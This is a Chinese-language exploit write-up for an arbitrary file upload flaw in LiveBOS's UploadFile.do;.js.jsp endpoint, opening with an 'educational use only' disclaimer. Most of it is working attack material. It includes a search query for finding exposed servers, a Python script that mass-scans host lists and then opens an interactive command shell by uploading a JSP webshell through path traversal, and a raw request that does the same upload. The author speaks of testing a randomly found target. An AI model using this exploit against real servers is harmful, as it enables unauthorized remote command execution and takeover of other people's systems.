声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。
一、漏洞描述
LiveBOS,由顶点软件股份有限公司开发的对象型业务架构中间件及其集成开发工具,是一种创新的软件开发模式,以业务模型建立为核心,直接完成软件开发。它适用于各类基于WEB的专业应用软件和行业大型应用的开发。LiveBOS由三个相对独立的产品组成:运行支持支撑平台 LiveBOS Server,开发集成环境LiveBOS Studio以及运维管理工具LiveBOS Manager。然而,其接口UploadFile.do;.js.jsp存在任意文件上传漏洞,攻击者可以利用该漏洞获取系统服务器权限,从而控制该系统。
二、资产收集
1.使用网络空间测绘引擎搜索
鹰图检索:web.body=="LiveBOS"
2.使用poc批量扫描
import requests
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import time
import ssl
import urllib.request
import random
import string
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def check(url):
url = url.rstrip("/")
target = url+"/feed/UploadFile.do;.js.jsp"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
}
data="""-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3\r\nContent-Disposition: form-data; name="file"; filename="//../../../../tmptest1.jsp"\r\nContent-Type: image/png\r\n\r\n<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3""".encode('utf-8')
try:
response = urllib.request.Request(target, headers=headers, data=data, method="POST", unverifiable=True)
res = urllib.request.urlopen(response)
upload_status_code = res.getcode()
upload_content = res.read().decode()
if upload_status_code == 200 and 'oldfileName' in upload_content and 'newFileName' in upload_content:
result_url = url + '/tmptest1.jsp;.js.jsp'
result_response = urllib.request.Request(result_url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"}, method="GET", unverifiable=True)
res = urllib.request.urlopen(result_response)
result_status_code = res.getcode()
result_content = res.read().decode()
if result_status_code == 200 and 'HelloWorldTest' in result_content:
print(f"\033[31mDiscovered:{url}: LiveBos_UploadFile_ArbiraryFileUpload!\033[0m")
return True
except Exception as e:
pass
def run(url):
url = url.rstrip("/")
target = url + "/feed/UploadFile.do;.js.jsp"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
}
if check(url):
while True:
command = input("\033[34mPlease input command (stop input:exit):\033[0m")
if "exit" not in command:
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=5))
data = """-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3\r\nContent-Disposition: form-data; name="file"; filename="//../../../../replace1.jsp"\r\nContent-Type: image/png\r\n\r\n<% java.io.InputStream in = Runtime.getRuntime().exec(\"replace2\").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3"""
data = data.replace('replace1',filename).replace('replace2',command).encode('utf-8')
try:
response = urllib.request.Request(target, headers=headers, data=data, method="POST",unverifiable=True)
res = urllib.request.urlopen(response)
upload_status_code = res.getcode()
upload_content = res.read().decode()
if upload_status_code == 200 and 'oldfileName' in upload_content and 'newFileName' in upload_content:
result_url = url + '/{}.jsp;.js.jsp'.format(filename)
result_response = urllib.request.Request(result_url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"},method="GET", unverifiable=True)
res = urllib.request.urlopen(result_response)
result_status_code = res.getcode()
result_content = res.read().decode()
if result_status_code == 200:
print(result_content)
except Exception as e:
pass
else:
break
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL")
parser.add_argument("-f", "--txt", help="file")
args = parser.parse_args()
url = args.url
txt = args.txt
if url:
run(url)
elif txt:
urls = read_file(txt)
for url in urls:
check(url)
else:
print("help")
cmd运行poc脚本:python poc.py -f host.txt
随机寻找的幸运儿
三、漏洞复现
1.构造数据包
1.构造数据包:
POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3
Content-Length: 343
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp"
Content-Type: image/png
<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
2.数据包分析
请求行:
POST /feed/UploadFile.do;.js.jsp HTTP/1.1
,表示这是一个POST请求,目标URL是/feed/UploadFile.do;.js.jsp
,使用的HTTP协议版本是1.1。请求头:包括Host、User-Agent和Content-Type等信息。
- Host:
x.x.x.x
,表示请求的目标服务器地址。- User-Agent:
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
,表示发起请求的客户端信息,这里是使用Chrome浏览器的用户代理字符串。- Content-Type:
multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3
,表示请求体的类型是多部分表单数据,边界字符串为-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
。- Content-Length:
343
,表示请求体的长度为343字节。请求体:包含了要上传的文件内容。
- 边界字符串:
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
,用于分隔不同的表单字段。- 文件信息:
Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp"
,表示这是一个名为"file"的表单字段,文件名为"//../../../../tmptest.jsp"。- 文件类型:
Content-Type: image/png
,表示文件的类型是PNG图片。- 文件内容:
<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
,这是一段JSP代码,输出"HelloWorldTest"并删除当前servlet路径对应的文件。
3.结束跑路
1.构造数据包,上传一个tmptest.jsp文件
2.URL访问刚刚上传的文件ip/tmptest.jsp;.js.jsp
每篇一言:憧憬是距离理解最遥远的感情。